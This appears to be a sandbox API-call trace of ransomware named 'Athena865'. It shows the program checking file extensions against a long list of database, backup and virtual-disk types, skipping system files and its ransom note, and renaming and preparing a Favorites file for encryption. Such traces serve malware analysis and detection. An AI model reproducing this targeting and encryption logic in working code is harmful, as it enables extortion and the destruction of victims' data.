[0101.754] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1 [0101.754] lstrlenW (lpString="dqy") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1 [0101.754] lstrlenW (lpString="dsk") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1 [0101.754] lstrlenW (lpString="dsn") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1 [0101.754] lstrlenW (lpString="dtsx") returned 4 [0101.754] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1 [0101.754] lstrlenW (lpString="dxl") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1 [0101.754] lstrlenW (lpString="eco") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="eco") returned 1 [0101.754] lstrlenW (lpString="ecx") returned 3 [0101.754] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1 [0101.754] lstrlenW (lpString="edb") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="edb") returned 1 [0101.755] lstrlenW (lpString="epim") returned 4 [0101.755] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1 [0101.755] lstrlenW (lpString="fcd") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1 [0101.755] lstrlenW (lpString="fdb") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1 [0101.755] lstrlenW (lpString="fic") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fic") returned 1 [0101.755] lstrlenW (lpString="flexolibrary") returned 12 [0101.755] lstrcmpiW (lpString1="-on site.url", lpString2="flexolibrary") returned 1 [0101.755] lstrlenW (lpString="fm5") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1 [0101.755] lstrlenW (lpString="fmp") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1 [0101.755] lstrlenW (lpString="fmp12") returned 5 [0101.755] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1 [0101.755] lstrlenW (lpString="fmpsl") returned 5 [0101.755] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1 [0101.755] lstrlenW (lpString="fol") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fol") returned 1 [0101.755] lstrlenW (lpString="fp3") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1 [0101.755] lstrlenW (lpString="fp4") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1 [0101.755] lstrlenW (lpString="fp5") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1 [0101.755] lstrlenW (lpString="fp7") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1 [0101.755] lstrlenW (lpString="fpt") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1 [0101.755] lstrlenW (lpString="frm") returned 3 [0101.755] lstrcmpiW (lpString1="url", lpString2="frm") returned 1 [0101.756] lstrlenW (lpString="gdb") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0101.756] lstrlenW (lpString="gdb") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0101.756] lstrlenW (lpString="grdb") returned 4 [0101.756] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1 [0101.756] lstrlenW (lpString="gwi") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1 [0101.756] lstrlenW (lpString="hdb") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1 [0101.756] lstrlenW (lpString="his") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="his") returned 1 [0101.756] lstrlenW (lpString="ib") returned 2 [0101.756] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1 [0101.756] lstrlenW (lpString="idb") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="idb") returned 1 [0101.756] lstrlenW (lpString="ihx") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1 [0101.756] lstrlenW (lpString="itdb") returned 4 [0101.756] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1 [0101.756] lstrlenW (lpString="itw") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="itw") returned 1 [0101.756] lstrlenW (lpString="jet") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="jet") returned 1 [0101.756] lstrlenW (lpString="jtx") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1 [0101.756] lstrlenW (lpString="kdb") returned 3 [0101.756] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1 [0101.756] lstrlenW (lpString="kexi") returned 4 [0101.756] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1 [0101.756] lstrlenW (lpString="kexic") returned 5 [0101.756] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1 [0101.756] lstrlenW (lpString="kexis") returned 5 [0101.757] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1 [0101.757] lstrlenW (lpString="lgc") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1 [0101.757] lstrlenW (lpString="lwx") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1 [0101.757] lstrlenW (lpString="maf") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="maf") returned 1 [0101.757] lstrlenW (lpString="maq") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="maq") returned 1 [0101.757] lstrlenW (lpString="mar") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="mar") returned 1 [0101.757] lstrlenW (lpString="marshal") returned 7 [0101.757] lstrcmpiW (lpString1="ite.url", lpString2="marshal") returned -1 [0101.757] lstrlenW (lpString="mas") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="mas") returned 1 [0101.757] lstrlenW (lpString="mav") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="mav") returned 1 [0101.757] lstrlenW (lpString="maw") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="maw") returned 1 [0101.757] lstrlenW (lpString="mdbhtml") returned 7 [0101.757] lstrcmpiW (lpString1="ite.url", lpString2="mdbhtml") returned -1 [0101.757] lstrlenW (lpString="mdn") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1 [0101.757] lstrlenW (lpString="mdt") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1 [0101.757] lstrlenW (lpString="mfd") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1 [0101.757] lstrlenW (lpString="mpd") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1 [0101.757] lstrlenW (lpString="mrg") returned 3 [0101.757] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1 [0101.757] lstrlenW (lpString="mud") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="mud") returned 1 [0101.758] lstrlenW (lpString="mwb") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1 [0101.758] lstrlenW (lpString="myd") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="myd") returned 1 [0101.758] lstrlenW (lpString="ndf") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1 [0101.758] lstrlenW (lpString="nnt") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1 [0101.758] lstrlenW (lpString="nrmlib") returned 6 [0101.758] lstrcmpiW (lpString1="te.url", lpString2="nrmlib") returned 1 [0101.758] lstrlenW (lpString="ns2") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1 [0101.758] lstrlenW (lpString="ns3") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1 [0101.758] lstrlenW (lpString="ns4") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1 [0101.758] lstrlenW (lpString="nsf") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1 [0101.758] lstrlenW (lpString="nv") returned 2 [0101.758] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1 [0101.758] lstrlenW (lpString="nv2") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1 [0101.758] lstrlenW (lpString="nwdb") returned 4 [0101.758] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1 [0101.758] lstrlenW (lpString="nyf") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1 [0101.758] lstrlenW (lpString="odb") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0101.758] lstrlenW (lpString="odb") returned 3 [0101.758] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0101.758] lstrlenW (lpString="oqy") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1 [0101.759] lstrlenW (lpString="ora") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="ora") returned 1 [0101.759] lstrlenW (lpString="orx") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="orx") returned 1 [0101.759] lstrlenW (lpString="owc") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="owc") returned 1 [0101.759] lstrlenW (lpString="p96") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="p96") returned 1 [0101.759] lstrlenW (lpString="p97") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="p97") returned 1 [0101.759] lstrlenW (lpString="pan") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="pan") returned 1 [0101.759] lstrlenW (lpString="pdb") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1 [0101.759] lstrlenW (lpString="pdm") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1 [0101.759] lstrlenW (lpString="pnz") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1 [0101.759] lstrlenW (lpString="qry") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="qry") returned 1 [0101.759] lstrlenW (lpString="qvd") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1 [0101.759] lstrlenW (lpString="rbf") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1 [0101.759] lstrlenW (lpString="rctd") returned 4 [0101.759] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1 [0101.759] lstrlenW (lpString="rod") returned 3 [0101.759] lstrcmpiW (lpString1="url", lpString2="rod") returned 1 [0101.759] lstrlenW (lpString="rodx") returned 4 [0101.759] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1 [0101.759] lstrlenW (lpString="rpd") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1 [0101.760] lstrlenW (lpString="rsd") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1 [0101.760] lstrlenW (lpString="sas7bdat") returned 8 [0101.760] lstrcmpiW (lpString1="site.url", lpString2="sas7bdat") returned 1 [0101.760] lstrlenW (lpString="sbf") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1 [0101.760] lstrlenW (lpString="scx") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="scx") returned 1 [0101.760] lstrlenW (lpString="sdb") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1 [0101.760] lstrlenW (lpString="sdc") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1 [0101.760] lstrlenW (lpString="sdf") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1 [0101.760] lstrlenW (lpString="sis") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="sis") returned 1 [0101.760] lstrlenW (lpString="spq") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="spq") returned 1 [0101.760] lstrlenW (lpString="te") returned 2 [0101.760] lstrcmpiW (lpString1="rl", lpString2="te") returned -1 [0101.760] lstrlenW (lpString="teacher") returned 7 [0101.760] lstrcmpiW (lpString1="ite.url", lpString2="teacher") returned -1 [0101.760] lstrlenW (lpString="tmd") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1 [0101.760] lstrlenW (lpString="tps") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="tps") returned 1 [0101.760] lstrlenW (lpString="trc") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0101.760] lstrlenW (lpString="trc") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0101.760] lstrlenW (lpString="trm") returned 3 [0101.760] lstrcmpiW (lpString1="url", lpString2="trm") returned 1 [0101.761] lstrlenW (lpString="udb") returned 3 [0101.761] lstrcmpiW (lpString1="url", lpString2="udb") returned 1 [0101.761] lstrlenW (lpString="udl") returned 3 [0101.761] lstrcmpiW (lpString1="url", lpString2="udl") returned 1 [0101.761] lstrlenW (lpString="usr") returned 3 [0101.761] lstrcmpiW (lpString1="url", lpString2="usr") returned -1 [0101.762] lstrlenW (lpString="v12") returned 3 [0101.762] lstrcmpiW (lpString1="url", lpString2="v12") returned -1 [0101.762] lstrlenW (lpString="vis") returned 3 [0101.762] lstrcmpiW (lpString1="url", lpString2="vis") returned -1 [0101.762] lstrlenW (lpString="vpd") returned 3 [0101.763] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1 [0101.763] lstrlenW (lpString="vvv") returned 3 [0101.763] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1 [0101.763] lstrlenW (lpString="wdb") returned 3 [0101.763] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1 [0101.763] lstrlenW (lpString="wmdb") returned 4 [0101.763] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1 [0101.763] lstrlenW (lpString="wrk") returned 3 [0101.763] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1 [0101.763] lstrlenW (lpString="xdb") returned 3 [0101.763] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1 [0101.763] lstrlenW (lpString="xld") returned 3 [0101.763] lstrcmpiW (lpString1="url", lpString2="xld") returned -1 [0101.763] lstrlenW (lpString="xmlff") returned 5 [0101.763] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1 [0101.763] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.Athena865") returned 104 [0101.763] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.athena865"), dwFlags=0x1) returned 1 [0101.764] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.764] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.765] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.765] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.765] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.765] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.767] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.768] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.769] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.769] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.769] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.769] CloseHandle (hObject=0x17c) returned 1 [0101.770] CloseHandle (hObject=0x154) returned 1 [0101.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.770] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".") returned 1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="..") returned 1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="windows") returned -1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="bootmgr") returned 1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="temp") returned -1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="pagefile.sys") returned -1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="boot") returned 1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ids.txt") returned 1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ntuser.dat") returned -1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="perflogs") returned -1 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="MSBuild") returned -1 [0101.770] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28 [0101.770] lstrcpyW (in: lpString1=0x241e8e0, lpString2="IE site on Microsoft.com.url" | out: lpString1="IE site on Microsoft.com.url") returned="IE site on Microsoft.com.url" [0101.770] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28 [0101.770] lstrlenW (lpString="Athena865") returned 9 [0101.770] lstrcmpiW (lpString1="t.com.url", lpString2="Athena865") returned 1 [0101.770] lstrlenW (lpString=".dll") returned 4 [0101.770] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".dll") returned 1 [0101.771] lstrlenW (lpString=".lnk") returned 4 [0101.771] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".lnk") returned 1 [0101.771] lstrlenW (lpString=".ini") returned 4 [0101.771] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".ini") returned 1 [0101.771] lstrlenW (lpString=".sys") returned 4 [0101.771] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".sys") returned 1 [0101.771] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28 [0101.771] lstrlenW (lpString="bak") returned 3 [0101.771] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0101.771] lstrlenW (lpString="ba_") returned 3 [0101.771] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0101.771] lstrlenW (lpString="dbb") returned 3 [0101.771] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0101.771] lstrlenW (lpString="vmdk") returned 4 [0101.771] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0101.771] lstrlenW (lpString="rar") returned 3 [0101.771] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0101.771] lstrlenW (lpString="zip") returned 3 [0101.771] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0101.771] lstrlenW (lpString="tgz") returned 3 [0101.771] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0101.771] lstrlenW (lpString="vbox") returned 4 [0101.771] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0101.771] lstrlenW (lpString="vdi") returned 3 [0101.771] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0101.771] lstrlenW (lpString="vhd") returned 3 [0101.771] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0101.771] lstrlenW (lpString="vhdx") returned 4 [0101.771] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0101.771] lstrlenW (lpString="avhd") returned 4 [0101.771] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0101.771] lstrlenW (lpString="db") returned 2 [0101.772] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0101.772] lstrlenW (lpString="db2") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0101.772] lstrlenW (lpString="db3") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0101.772] lstrlenW (lpString="dbf") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0101.772] lstrlenW (lpString="mdf") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0101.772] lstrlenW (lpString="mdb") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0101.772] lstrlenW (lpString="sql") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0101.772] lstrlenW (lpString="sqlite") returned 6 [0101.772] lstrcmpiW (lpString1="om.url", lpString2="sqlite") returned -1 [0101.772] lstrlenW (lpString="sqlite3") returned 7 [0101.772] lstrcmpiW (lpString1="com.url", lpString2="sqlite3") returned -1 [0101.772] lstrlenW (lpString="sqlitedb") returned 8 [0101.772] lstrcmpiW (lpString1=".com.url", lpString2="sqlitedb") returned -1 [0101.772] lstrlenW (lpString="xml") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0101.772] lstrlenW (lpString="$er") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0101.772] lstrlenW (lpString="4dd") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0101.772] lstrlenW (lpString="4dl") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0101.772] lstrlenW (lpString="^^^") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0101.772] lstrlenW (lpString="abs") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0101.772] lstrlenW (lpString="abx") returned 3 [0101.772] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0101.773] lstrlenW (lpString="accdb") returned 5 [0101.773] lstrcmpiW (lpString1="m.url", lpString2="accdb") returned 1 [0101.773] lstrlenW (lpString="accdc") returned 5 [0101.773] lstrcmpiW (lpString1="m.url", lpString2="accdc") returned 1 [0101.773] lstrlenW (lpString="accde") returned 5 [0101.773] lstrcmpiW (lpString1="m.url", lpString2="accde") returned 1 [0101.773] lstrlenW (lpString="accdr") returned 5 [0101.773] lstrcmpiW (lpString1="m.url", lpString2="accdr") returned 1 [0101.773] lstrlenW (lpString="accdt") returned 5 [0101.773] lstrcmpiW (lpString1="m.url", lpString2="accdt") returned 1 [0101.773] lstrlenW (lpString="accdw") returned 5 [0101.773] lstrcmpiW (lpString1="m.url", lpString2="accdw") returned 1 [0101.773] lstrlenW (lpString="accft") returned 5 [0101.773] lstrcmpiW (lpString1="m.url", lpString2="accft") returned 1 [0101.773] lstrlenW (lpString="adb") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.773] lstrlenW (lpString="adb") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.773] lstrlenW (lpString="ade") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0101.773] lstrlenW (lpString="adf") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0101.773] lstrlenW (lpString="adn") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0101.773] lstrlenW (lpString="adp") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0101.773] lstrlenW (lpString="alf") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0101.773] lstrlenW (lpString="ask") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0101.773] lstrlenW (lpString="btr") returned 3 [0101.773] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0101.774] lstrlenW (lpString="cat") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0101.774] lstrlenW (lpString="cdb") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0101.774] lstrlenW (lpString="ckp") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0101.774] lstrlenW (lpString="cma") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0101.774] lstrlenW (lpString="cpd") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0101.774] lstrlenW (lpString="dacpac") returned 6 [0101.774] lstrcmpiW (lpString1="om.url", lpString2="dacpac") returned 1 [0101.774] lstrlenW (lpString="dad") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0101.774] lstrlenW (lpString="dadiagrams") returned 10 [0101.774] lstrcmpiW (lpString1="ft.com.url", lpString2="dadiagrams") returned 1 [0101.774] lstrlenW (lpString="daschema") returned 8 [0101.774] lstrcmpiW (lpString1=".com.url", lpString2="daschema") returned -1 [0101.774] lstrlenW (lpString="db-journal") returned 10 [0101.774] lstrcmpiW (lpString1="ft.com.url", lpString2="db-journal") returned 1 [0101.774] lstrlenW (lpString="db-shm") returned 6 [0101.774] lstrcmpiW (lpString1="om.url", lpString2="db-shm") returned 1 [0101.774] lstrlenW (lpString="db-wal") returned 6 [0101.774] lstrcmpiW (lpString1="om.url", lpString2="db-wal") returned 1 [0101.774] lstrlenW (lpString="dbc") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0101.774] lstrlenW (lpString="dbs") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0101.774] lstrlenW (lpString="dbt") returned 3 